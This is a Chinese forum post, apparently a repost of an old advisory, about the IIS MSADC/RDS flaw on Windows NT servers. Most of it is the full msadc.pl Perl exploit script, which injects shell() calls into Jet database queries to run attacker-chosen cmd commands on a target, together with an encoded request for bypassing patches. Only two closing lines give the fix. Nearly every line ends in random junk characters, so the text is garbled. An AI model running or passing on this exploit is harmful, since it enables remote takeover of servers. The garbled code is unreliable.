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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) `kSZX:=};  
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涉及程序: w&.a QGR#  
Microsoft NT server M D#jj3y  
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描述: a$fnh3j[  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 #4;wjcGWw  
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详细: )QJUUn#  
如果你没有时间读详细内容的话,就删除: (**oRwr%  
c:\Program Files\Common Files\System\Msadc\msadcs.dll |k9 C/  
有关的安全问题就没有了。 m(P]k'ZH?  
-D: b*D  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 1{.9uw"2S  
X5w$4Kj&4l  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 JlJ a #  
关于利用ODBC远程漏洞的描述,请参看: o5)<$P43  
e+=K d+:k  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm iN.n8MN=I  
$<OD31T  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 y>ktcuML  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp eszG0Wu  
43 :X,\~)  
这里不再论述。 1xx}~|F?|  
1B\WA8  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: 0tJ Z4(0  
_tycgq#  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset BFt> 9x]T  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! o#N+Y?O  
@'|~v <<WZ  
6wg^FD_Q  
#将下面这段保存为txt文件,然后: "perl -x 文件名" f?)-}\[IR{  
@E8+C8'  
#!perl 5Yndc)Z  
# UGatWj  
# MSADC/RDS 'usage' (aka exploit) script $Y gue5{c  
# A?0Nm{O;3v  
# by rain.forest.puppy - ! S_ryL  
#  f)<6  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me %]7d`/  
# beta test and find errors! CU~PT.  
Kf-JcBsrT  
use Socket; use Getopt::Std; 7x8  yxE  
getopts("e:vd:h:XR", \%args); |&4/n6;P$0  
Y|/ 8up  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; VS|2|n1<6  
DIUjn;>k8  
if (!defined $args{h} && !defined $args{R}) { o,wUc"CE  
print qq~ 7mfS*aCb  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 'E.w=7z&  
-h <host> = host you want to scan (ip or domain) @KUWxFak  
-d <seconds> = delay between calls, default 1 second /<BI46B\  
-X = dump Index Server path table, if available *n"{J(Jt`  
-v = verbose A_UjC`  
-e = external dictionary file for step 5 o<!?7g{  
m) D|l1AtF  
Or a -R will resume a command session |+"(L#wk  
]{>,rK[So  
~; exit;} %xt^698&X  
V^~:F  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Xlt|nX~#;  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} >KKMcTOYY  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} !1b;F*H  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); )WFr</z5bA  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} *gz{.)W  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } BD7N i^qI$  
Dum9lj  
if (!defined $args{R}){ $ret = &has_msadc; >`D:-huNeE  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} 7IM@i>p%  
yaV|AB$v  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" {(?4!rh  
. "cmd /c "; pmYHUj #  
$in=<STDIN>; chomp $in; SZCze"`[  
$command="cmd /c " . $in ; II=79$n`G  
PTV:IzoW  
if (defined $args{R}) {&load; exit;} f|oh.z_R  
f`66h M[  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; 9(<@O%YU  
&try_btcustmr; Yu`~U,m  
r:TH]hs12+  
print "\nStep 2: Trying to make our own DSN..."; wwcBsJ1{  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ^LzF@{ G  
_h1mF<\ X^  
print "\nStep 3: Trying known DSNs..."; 7Fsay+a  
&known_dsn; @9|hMo  
kg\ >k2h  
print "\nStep 4: Trying known .mdbs..."; |! "eWTJ  
&known_mdb; 6D_D';o  
{BU;$  
if (defined $args{e}){ P0jtp7)7  
print "\nStep 5: Trying dictionary of DSN names..."; Jj%K=sw  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } iDrZc  
ht}wEvv  
print "Sorry Charley...maybe next time?\n"; Z;)%%V%o  
exit; /; 85i6  
vs{s_T7Mz]  
############################################################################## n '6jou  
K!l5coM  
sub sendraw { # ripped and modded from whisker )@bQu~Y  
sleep($delay); # it's a DoS on the server! At least on mine... ;i+#fQO7Q  
my ($pstr)=@_; x'R`. !g3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || a C)!T  
die("Socket problems\n"); \xoP)Ub>  
if(connect(S,pack "SnA4x8",2,80,$target)){ &b& ,  
select(S); $|=1; R ViuJ;  
print $pstr; my @in=<S>; 9=2$8JN=(l  
select(STDOUT); close(S); X!g#T9kG  
return @in; S ByW[JE  
} else { die("Can't connect...\n"); }} [}]Q?*_  
|LKXOU c  
############################################################################## 7Hu3>4<  
4H]L~^CD  
sub make_header { # make the HTTP request |P}y,pNQ  
my $msadc=<<EOT u,4eCxYE$  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 nzeX[*  
User-Agent: ACTIVEDATA JqiP>4Uwm^  
Host: $ip }JAG7L&{  
Content-Length: $clen 8Uxne2e  
Connection: Keep-Alive q> C'BIr  
V3j= Kf  
ADCClientVersion:01.06 8)I^ t81  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (dSL7nel;L  
@f_+=}|dc  
--!ADM!ROX!YOUR!WORLD! [ !OxZ!  
Content-Type: application/x-varg |ZBI *  
Content-Length: $reqlen #Mw8^FST  
#>+HlT  
EOT Y:a]00&)#Y  
; $msadc=~s/\n/\r\n/g; AYx{U?0p  
return $msadc;} )K    
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############################################################################## HyWCMK6b  
h.t-`k7  
sub make_req { # make the RDS request E< fVZ,  
my ($switch, $p1, $p2)=@_; \)|hogI|f  
my $req=""; my $t1, $t2, $query, $dsn; !C: $?oU  
M =r)I~  
if ($switch==1){ # this is the btcustmr.mdb query 5XB H$&Td  
$query="Select * from Customers where City=" . make_shell(); J7p),[>I<  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . [cp+i^f  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} J/*`7Pd  
gB'6`'  
elsif ($switch==2){ # this is general make table query Q'0d~6n&{  
$query="create table AZZ (B int, C varchar(10))"; 6NHX2Ja  
$dsn="$p1";} &.?'i1!  
n.(FQx.F  
elsif ($switch==3){ # this is general exploit table query @MCg%Afw  
$query="select * from AZZ where C=" . make_shell(); g}',(tPMZ  
$dsn="$p1";} K(Bf2Mfq  
tZG:Pr1U@  
elsif ($switch==4){ # attempt to hork file info from index server z' >_Mc6  
$query="select path from scope()"; n6a`;0f[R  
$dsn="Provider=MSIDXS;";} kW&TJP+5*  
[IhYh<i  
elsif ($switch==5){ # bad query Ek]'km!  
$query="select"; )+2hl  
$dsn="$p1";} Jg| XH L)  
em N*l]N  
$t1= make_unicode($query); }9fTF:P  
$t2= make_unicode($dsn); mL: sJf  
$req = "\x02\x00\x03\x00"; !Q0w\j h  
$req.= "\x08\x00" . pack ("S1", length($t1)); oM`0y@QCf  
$req.= "\x00\x00" . $t1 ; L/G6Fjg^  
$req.= "\x08\x00" . pack ("S1", length($t2)); ~IN>3\j  
$req.= "\x00\x00" . $t2 ; c\ lkD-\  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; @J`"[%U  
return $req;} Q$@I"V&G.  
YcpoL@ab  
############################################################################## >I&5j/&}+  
AkQ ~k0i}b  
sub make_shell { # this makes the shell() statement hZ  
return "'|shell(\"$command\")|'";} v^ V itLC  
:G%61x&=Zc  
############################################################################## $ gS>FJ  
}Kbb4]t|"  
sub make_unicode { # quick little function to convert to unicode B ,epzI  
my ($in)=@_; my $out; v z '&%(  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } ;@|n @ax  
return $out;} 81 sG  
v,>Dbxn  
############################################################################## @t_=Yl2;  
Z}Ft:7   
sub rdo_success { # checks for RDO return success (this is kludge) DN57p!z  
my (@in) = @_; my $base=content_start(@in); o:Sa, !DK  
if($in[$base]=~/multipart\/mixed/){ Z@PmM4F@S  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} +!.^zp21  
return 0;} F@B]et7  
?+}_1x`  
############################################################################## 'AS|ZRr/  
xYpd: Sm  
sub make_dsn { # this makes a DSN for us k_nql8H  
my @drives=("c","d","e","f"); E#N|w q  
print "\nMaking DSN: "; ZX./P0  
foreach $drive (@drives) { `&ckZiq  
print "$drive: "; ]|P iF+  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . _^%,x  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" zue~ce73J  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); N64dO[op  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; Cd}<a?m,  
return 0 if $2 eq "404"; # not found/doesn't exist VQ9/Gxdeo  
if($2 eq "200") { n[Y~]  
foreach $line (@results) { 5uj?#)N  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} );&:9[b_  
} return 0;} H%Q7D-  
;u46Z  
############################################################################## l?n\i]'  
JO6)-U$7UG  
sub verify_exists { g&Vx:fOC  
my ($page)=@_; pJ'"j 6Q  
my @results=sendraw("GET $page HTTP/1.0\n\n"); U>}w2bZ*  
return $results[0];} ,M ^<CJ  
@O^6&\s>  
############################################################################## :(*V?WI  
K:# I  
sub try_btcustmr { jkF^-Up.  
my @drives=("c","d","e","f"); =R$u[~Xl2X  
my @dirs=("winnt","winnt35","winnt351","win","windows"); @>Km_Ax  
VY=jc~c]v  
foreach $dir (@dirs) { h^(* Tv-!  
print "$dir -> "; # fun status so you can see progress +E(L\  
foreach $drive (@drives) { = x)-u8P  
print "$drive: "; # ditto DAr1C+Dy  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; '$]97b7G  
$reqlenlen=length( "$reqlen" ); >$/>#e~  
$clen= 206 + $reqlenlen + $reqlen; O)n~](sC\  
9gK` E  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M\Ye<Tk  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} HJ[cM6$2  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} uo%)1NS!  
rlSeu5X6  
############################################################################## ~ =2PU$u  
x@;m8z0  
sub odbc_error { 4yr'W8X_  
my (@in)=@_; my $base; yZU6xY  
my $base = content_start(@in); 6H WE~`ok6  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this =ncVnW{  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; i#Bf"W{F  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; `%9 uE(  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ShP^A"Do  
return $in[$base+4].$in[$base+5].$in[$base+6];} u.m[u)HQ  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; XnMvKPerv'  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Gk&)08  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} 6wjw^m0  
1FL~ndJs  
############################################################################## LxSpctiNx  
!")tU+:  
sub verbose { 6Vnsi%{  
my ($in)=@_; Nkth>7*  
return if !$verbose; W/bQd)Jvk  
print STDOUT "\n$in\n";} Ee%%d  
Q6!zZ))~  
############################################################################## sfugY (m  
z3m85F%dR  
sub save { WUXx;9>  
my ($p1, $p2, $p3, $p4)=@_; o&)8o5  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; k1Y?  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; #:U%mHT(_  
close OUT;} `V)8 QRN(  
Em !/a$  
############################################################################## ' ;FnIZ  
|tMWCA  
sub load { E`usknf>l  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; Hc$O{]sq  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); a;qryUyG  
@p=<IN>; close(IN); =M [bnq*\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); +YKi,  
$target= inet_aton($ip) || die("inet_aton problems"); hPkWCoQpq  
print "Resuming to $ip ..."; A,Vu\3HS  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; ub#a`  
if($p[1]==1) { CMG&7(MR  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; }Gm>`cw-  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; S8wLmd>  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); N&+x+;Kx  
if (rdo_success(@results)){print "Success!\n";} $)ijN^hV  
else { print "failed\n"; verbose(odbc_error(@results));}} U175{N%3  
elsif ($p[1]==3){ c&?m>2^6  
if(run_query("$p[3]")){ /}fHt^2H  
print "Success!\n";} else { print "failed\n"; }} 8hz^%vm  
elsif ($p[1]==4){ G kl71VX  
if(run_query($drvst . "$p[3]")){ %i9E @EV  
print "Success!\n"; } else { print "failed\n"; }} GxI!{oi2  
exit;} U} e!Wjrc  
PI:4m%[  
############################################################################## 17[3/m8a  
p6]1w]*R  
sub create_table { RYQR(v  
my ($in)=@_; t?-n*9,#S  
$reqlen=length( make_req(2,$in,"") ) - 28; BB!THj69a6  
$reqlenlen=length( "$reqlen" ); j<99FW"@e  
$clen= 206 + $reqlenlen + $reqlen; fo#fg8zX%  
my @results=sendraw(make_header() . make_req(2,$in,"")); BxWPC#5  
return 1 if rdo_success(@results); HU8900k+  
my $temp= odbc_error(@results); verbose($temp); n,V[eW#m'L  
return 1 if $temp=~/Table 'AZZ' already exists/; p{ Yv3dNl  
return 0;} F^t DL:  
wc NOLUl  
############################################################################## HJLG=mU  
G )trG9 .a  
sub known_dsn { gx8ouOh  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go k"T}2 7  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", $m%f wB  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", mAj?>;R2$2  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); , j2Udn}  
V6&!9b  
foreach $dSn (@dsns) { Yz/md1T$  
print "."; jrlVvzZ  
next if (!is_access("DSN=$dSn")); ~Ei$nV  
if(create_table("DSN=$dSn")){ RK'\C\gMDu  
print "$dSn successful\n"; GmeQ`;9,  
if(run_query("DSN=$dSn")){ hz;G$cuEE  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { h-#6av :  
print "Something's borked. Use verbose next time\n";}}} print "\n";} Ic"ybj`  
Pw7]r<Q  
############################################################################## u<6<iD3y  
z0p*Z&  
sub is_access { iwZPpl ";  
my ($in)=@_; F3v !AvA|  
$reqlen=length( make_req(5,$in,"") ) - 28; x=hiQ>BIO0  
$reqlenlen=length( "$reqlen" ); pMx*F@&nU  
$clen= 206 + $reqlenlen + $reqlen; I {S;L  
my @results=sendraw(make_header() . make_req(5,$in,"")); 0[NZ>7wqMZ  
my $temp= odbc_error(@results); M=.n7RY-  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); <CYd+! (  
return 0;} j^j1  
\:# L)   
############################################################################## qPX~@^`9  
Sz)' ogl  
sub run_query { 0_95|3kc  
my ($in)=@_; =)H.c uc  
$reqlen=length( make_req(3,$in,"") ) - 28; w(*vj  
$reqlenlen=length( "$reqlen" ); '8RsN-w  
$clen= 206 + $reqlenlen + $reqlen; (lBCO?`fx  
my @results=sendraw(make_header() . make_req(3,$in,"")); (>UZ<2GPL  
return 1 if rdo_success(@results); 2\A$6N ;_  
my $temp= odbc_error(@results); verbose($temp); UUYSFa %  
return 0;} g|DF[  
N=T<_`$5  
############################################################################## U3ADsdn  
t9kzw*U9  
sub known_mdb { $k@O`xD,q  
my @drives=("c","d","e","f","g"); ;v)JnbsH}  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ld|5TN1  
my $dir, $drive, $mdb; G6q }o)[m)  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; fn jPSts0  
F 5bj=mI  
# this is sparse, because I don't know of many n71r_S*  
my @sysmdbs=( "\\catroot\\icatalog.mdb", *KZYv=s,u  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", M)J5;^["  
"\\system32\\certmdb.mdb", vsCCB}7\  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% qOIyub  
1y4|{7bb  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", }W C[$Y_@  
"\\cfusion\\cfapps\\forums\\forums_.mdb",  &=@IzmA  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", \+oQd=K@  
"\\cfusion\\cfapps\\security\\realm_.mdb", $B 2J T9  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", o8V5w!+#  
"\\cfusion\\database\\cfexamples.mdb", ?(' wn<  
"\\cfusion\\database\\cfsnippets.mdb", GfxZ'VIn  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", fa jGZyd0:  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", |B?m,U$A!  
"\\cfusion\\brighttiger\\database\\cleam.mdb", X:f UI4  
"\\cfusion\\database\\smpolicy.mdb", h0*!;Z7  
"\\cfusion\\database\cypress.mdb", u:6Ic)7'  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", 59LZv-l  
"\\website\\cgi-win\\dbsample.mdb", )al]*[lY  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", VZp5)-!\  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" !_]Y~[  
); #these are just d\&U*=  
foreach $drive (@drives) { /kZebNf6H  
foreach $dir (@dirs){ Dzpq_F!;V  
foreach $mdb (@sysmdbs) { z\\[S@>pt  
print "."; gD-d29pQ  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ .9/ hHCp  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; R$h<<v)%  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ 7X`g,b!  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; m4[;(1  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |{z:IQLv  
!P2ro~0/  
foreach $drive (@drives) { : Xda1S  
foreach $mdb (@mdbs) { CmP9Q2  
print "."; gDQ^)1k  
if(create_table($drv . $drive . $dir . $mdb)){ G)AqbY  
print "\n" . $drive . $dir . $mdb . " successful\n"; MD}w Y><C  
if(run_query($drv . $drive . $dir . $mdb)){ f&N gS+<K$  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; -V*R\,>  
} else { print "Something's borked. Use verbose next time\n"; }}}} 9@SC}AF.  
}  R~TTL  
/H[=5  
############################################################################## Hck]aKI+  
G*?8MTP8![  
sub hork_idx { a(m2n.0'>  
print "\nAttempting to dump Index Server tables...\n"; 70 yFaW  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; fF!Yp iI"  
$reqlen=length( make_req(4,"","") ) - 28; h/QXPdV  
$reqlenlen=length( "$reqlen" ); !4ocZmj\  
$clen= 206 + $reqlenlen + $reqlen; KaLzg5is  
my @results=sendraw2(make_header() . make_req(4,"","")); Z\(q@3C  
if (rdo_success(@results)){ f$o_e90mu  
my $max=@results; my $c; my %d; 3<e=g)F  
for($c=19; $c<$max; $c++){ z{%<<pZ  
$results[$c]=~s/\x00//g; :tc@2/>!O  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; I {SjlN}d  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; Eh)fnqs_d}  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; o@_q]/Mh  
$d{"$1$2"}="";} \ ,'m</o~,  
foreach $c (keys %d){ print "$c\n"; } : p1u(hflS  
} else {print "Index server doesn't seem to be installed.\n"; }} 7zl5yK N  
PF0_8,@U  
############################################################################## ^Y?k0z  
#z'  
sub dsn_dict { M :=J^0  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); :;v~%e{k  
while(<IN>){ Gf%~{@7=u  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; cRC6 s8  
next if (!is_access("DSN=$dSn")); +X\FBvP&  
if(create_table("DSN=$dSn")){ dUD[e,?  
print "$dSn successful\n"; WSP I|#Xr%  
if(run_query("DSN=$dSn")){ "syI#U{  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { :^<3>zk  
print "Something's borked. Use verbose next time\n";}}} Q8$}@iA[  
print "\n"; close(IN);} Ex.yU{|c  
XMCXQs&  
############################################################################## SjK  
!K#qeY}  
sub sendraw2 { # ripped and modded from whisker a)!o @  
sleep($delay); # it's a DoS on the server! At least on mine... p . %]Q*8  
my ($pstr)=@_; #]-SJWf3  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || lPe&h]@ >  
die("Socket problems\n"); JB\UKZXw  
if(connect(S,pack "SnA4x8",2,80,$target)){ p0]=QH  
print "Connected. Getting data"; mwO6g~@ `  
open(OUT,">raw.out"); my @in; ^23~ZHu  
select(S); $|=1; print $pstr; m%0p\Y-/  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} mupT<_Y  
close(OUT); select(STDOUT); close(S); return @in; A_rG t?i  
} else { die("Can't connect...\n"); }} wC"FDr+  
W PC]%:L"  
############################################################################## ,S\CC{!  
n5|fHk^s  
sub content_start { # this will take in the server headers |o7[|3:M  
my (@in)=@_; my $c; BqEI(c 6  
for ($c=1;$c<500;$c++) { D=TvYe  
if($in[$c] =~/^\x0d\x0a/){ l#&8x  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } j<upRS,$  
else { return $c+1; }}} v6|RJt?  
return -1;} # it should never get here actually g%o(+d  
OU E (I3_  
############################################################################## }ZYd4h|g\z  
3s*mbk[J  
sub funky { A]*}HZ ,  
my (@in)=@_; my $error=odbc_error(@in); fT|.@%"vc  
if($error=~/ADO could not find the specified provider/){ Od,=mO*.Q  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; zE*li`@  
exit;} =&6eM2>P  
if($error=~/A Handler is required/){ JhYe6y[q  
print "\nServer has custom handler filters (they most likely are patched)\n"; Z<oaK  
exit;} *9 {PEx  
if($error=~/specified Handler has denied Access/){ b\f O8{k  
print "\nServer has custom handler filters (they most likely are patched)\n"; #x@$ lc=k3  
exit;}} eNh39er  
^+ml5m  
############################################################################## t6rRU~;}  
KA5v+~  
sub has_msadc { m5n #v  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); qyb?49I  
my $base=content_start(@results); =<C: d  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); XE RUo  
return 0;} TT%M' 5&  
_IMW {  
######################## YO`]UQ|dc  
Brw@g8w-X  
t}a: p6D]  
解决方案: uuEV_"X  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll 6dQ-HI*Y#  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 AD> e?u  
TvoyZW\?w  
拿出来充数 哈哈
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